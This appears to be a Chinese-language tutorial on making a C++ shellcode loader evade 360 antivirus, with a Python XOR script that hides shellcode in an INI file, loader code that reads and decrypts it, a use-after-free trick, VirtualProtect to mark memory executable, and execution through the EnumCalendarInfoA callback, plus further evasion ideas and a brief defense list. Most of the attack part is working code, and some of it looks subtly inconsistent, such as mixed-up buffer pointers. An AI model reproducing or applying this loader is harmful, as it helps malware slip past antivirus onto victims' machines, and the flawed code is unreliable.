c++免杀360
字数 1152 2025-08-06 20:12:39
C++免杀360技术详解
1. 技术概述
本文详细讲解了一种绕过360杀毒软件的C++免杀技术,主要利用Windows API、UAF(Use After Free)漏洞技术和回调函数执行shellcode的方法实现免杀效果。
2. 核心知识点
2.1 Windows API利用
本技术使用了以下关键Windows API:
- GetPrivateProfileIntA - 用于获取加密后的shellcode(从INI文件中读取)
- GetCurrentDirectoryA - 获取当前程序所在目录
- GetProcAddress - 获取DLL中函数的地址
- GetModuleHandleA - 获取模块句柄
- VirtualProtect - 修改内存属性为可执行
- malloc - 申请内存
- itoa - 整数转字符串
- EnumCalendarInfoA - 用于执行shellcode的回调函数
2.2 UAF(Use After Free)技术
UAF技术原理:
- 指针p1申请并释放堆空间后未置NULL
- 指针p2申请相同大小的堆空间,操作系统会重用刚释放的内存
- 此时p1和p2指向同一内存地址,可通过p2修改p1的内容
示例代码:
char* p1 = (char*)malloc(sizeof(char*)*10);
memcpy(p1,"hello",10);
free(p1); // 释放但不置NULL
char* p2 = (char*)malloc(sizeof(char*) * 10);
memcpy(p2,"world",10);
// 此时p1和p2地址相同,p1仍可访问
2.3 Shellcode加密技术
加密Python脚本:
shellcode_=b"" # 原始shellcode
shellcode=[]
for i in shellcode_:
shellcode.append(str(i^1024)) # 异或加密
shellcode=",".join(shellcode).split(",")
file=open("sc.ini","w")
file.write("[key]\n")
n=0
for i in shellcode:
file.write(f"{n}={i}\n") # 写入INI文件
n+=1
file.close()
生成的INI文件格式:
[key]
0=1098
1=1102
...
3. 免杀加载器实现
3.1 函数指针定义
typedef UINT(WINAPI* GetfileInt)(
LPCSTR LPAPPNAME,
LPCSTR KEYNAME,
INT DEFINE,
LPCSTR FILENAME
);
typedef BOOL(WINAPI* EnumInfo)(
CALINFO_ENUMPROCA proc,
LCID Eocale,
CALID Calender,
CALTYPE Type
);
typedef BOOL(WINAPI* Exchange_)(
LPVOID lpAddress,
SIZE_T DWsIZE,
DWORD New,
PDWORD Old
);
typedef FARPROC(WINAPI* GetFuncAddr_)(
HMODULE hmod,
LPCSTR lpName
);
3.2 Shellcode加载流程
- 获取API函数地址:
GetFuncAddr_ GetFuncAddr = (GetFuncAddr_)GetProcAddress(
GetModuleHandleA("Kernel32.dll"),
"GetProcAddress"
);
- 读取并解密shellcode:
unsigned int bt[3000];
char buf[3000];
for (int i = 0; i < 3000; i++) {
_itoa_s(i, buf, 10);
UINT k = GetFileIntA("key",buf, NULL, PATH);
bt[i] = k;
}
- 使用UAF技术:
unsigned char* a = (unsigned char*)malloc(sizeof(bt));
free(a);
unsigned char* b = (unsigned char*)malloc(sizeof(bt));
for (int i = 0; i < (sizeof(bt) / sizeof(bt[0])); i++) {
b[i] = (unsigned char)(bt[i] ^ 1024); // 解密
}
- 修改内存属性并执行:
DWORD p;
exchange_(a, sizeof(a), 0x40,&p); // 修改为可执行
EnumInfoA((CALINFO_ENUMPROCA)a, LOCALE_SYSTEM_DEFAULT, ENUM_ALL_CALENDARS, CAL_ICALINTVALUE);
4. 扩展思路
-
PathFindFileName API - 将shellcode作为程序名的一部分,通过该API获取
- 注意:Windows文件名最长260字符,需分段处理
-
其他内存申请API:
- GlobalAlloc
- CoTaskMemAlloc
- HeapAlloc
- RtlCreateHeap
- VirtualAlloc
- VirtualAllocEx
- ReallocADsMem
- AllocADsMem
- CoTaskMenAlloc
-
加密增强:
- 可结合凯撒密码、隐写术等CTF技术
- 自定义加密算法提高隐蔽性
5. 完整代码
完整代码已发布在GitHub: https://github.com/wz-wsl/360-bypass
6. 防御建议
- 监控敏感API调用序列
- 检测异常的内存属性修改
- 防范UAF漏洞利用
- 对回调函数执行代码保持警惕
- 监控INI等配置文件异常读取行为
7. 总结
本技术通过:
- 将shellcode加密存储在配置文件中
- 使用非常用API加载执行
- 结合UAF技术提高隐蔽性
- 利用回调函数规避检测
实现了对360杀毒软件的绕过,展示了多种免杀技术的综合应用。